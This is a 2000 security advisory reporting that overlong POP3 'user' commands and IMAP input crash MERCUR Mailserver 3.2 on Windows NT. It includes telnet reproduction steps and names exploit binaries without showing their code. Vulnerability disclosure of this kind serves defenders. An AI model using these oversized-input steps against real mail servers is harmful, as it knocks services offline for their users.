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Binary POP3 DOS
Domrc32p.exe
Binary IMAP DOS
Domrc32i.exe
Source of Binary DOS
merc32ds.zip
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USSR Advisory Code: USSR-2000035
Release Date:
March 15, 2000
Systems Affected:
MERCUR Mailserver 3.2
MERCUR POP3-Server (v3.20.01 Unregistered) for Windows NT
MERCUR IMAP4-Server (v3.20.01 Unregistered) for Windows NT
THE PROBLEM
UssrLabs found multiple places in MERCUR v3.20.* where they do not use proper bounds checking.
The following all result in a Denial of Service against the service in question.
Example:
[hellme@die-communitech.net$ telnet example.com 110
Trying example.com...
Connected to example.com.
Escape character is '^]'.
+OK MERCUR POP3-Server (v3.20.01 Unregistered) for Windows NT ready at Tue, 14 M
ar 2000 03:30:39 -0300
user (buffer)
Where [buffer] is aprox. 2000 characters.
[hellme@die-communitech.net$ telnet example.com 143
Trying example.com...
Connected to example.com.
Escape character is '^]'.
* OK MERCUR IMAP4-Server (v3.20.01 Unregistered) for Windows NT ready at Tue, 14
Mar 2000 03:34:09 -0300
(buffer)
Where [buffer] is aprox. 3000 characters.
Exploit:
the Exploit, crash the remote machine service pop3 and imap
Vendor Status:
informed
Vendor Url: http://www.atrium-software.com
Program Url: http://www.atrium-software.com/mercur/mercur_e.html
Credit: USSRLABS
SOLUTION:
Noting yet.
Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, ADM, HNN, Technotronic and Wiretrip.
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